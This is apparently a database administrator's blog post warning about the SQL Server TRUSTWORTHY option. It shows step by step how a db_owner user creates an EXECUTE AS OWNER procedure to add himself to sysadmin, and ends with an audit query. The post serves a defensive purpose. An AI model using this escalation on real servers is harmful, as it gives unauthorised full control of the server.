AKAWN

At some stage in your database career you may be tempted to set the TRUSTWORTHY database option, to on or be requested to do so by a project.

 

As I’ll show, you will get some seriously unwanted side effects if:

 

1. the database owner is a member of the sysadmin server role e.g. sa, which is usually the norm to prevent orphaned database owners, and
2. there is a user in the database who is a member of the db_owner database role.

 

Here goes…

 

You as a sysadmin are requested to set a database called testdb to have the TRUSTWORTHY database option enabled and therefore execute the below:

 

ALTER DATABASE testdb SET TRUSTWORTHY ON;

 

Below shows the option is enabled for the database.

 

 

Let’s say you have a database user called Bob who is a member of the db_owner database role in testdb.

 

 

To be clear, Bob is not a sysadmin and he shouldn’t be one.

 

SELECT IS_SRVROLEMEMBER('sysadmin')

 

Bob is however able to create stored procedures in testdb and he creates this one:

 

USE testdb
GO

CREATE PROCEDURE testsproc
WITH EXECUTE AS OWNER
AS
ALTER SERVER ROLE [sysadmin] ADD MEMBER [Bob]
GO

 

 

Now Bob executes his stored procedure and guess what he has become?

 

testsproc
GO
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

 

 

Now that should scare you and it would be good time to check which of your databases (besides msdb) have this option enabled.

 

SELECT name, is_trustworthy_on
FROM sys.databases
WHERE name <> 'msdb'
AND is_trustworthy_on = 1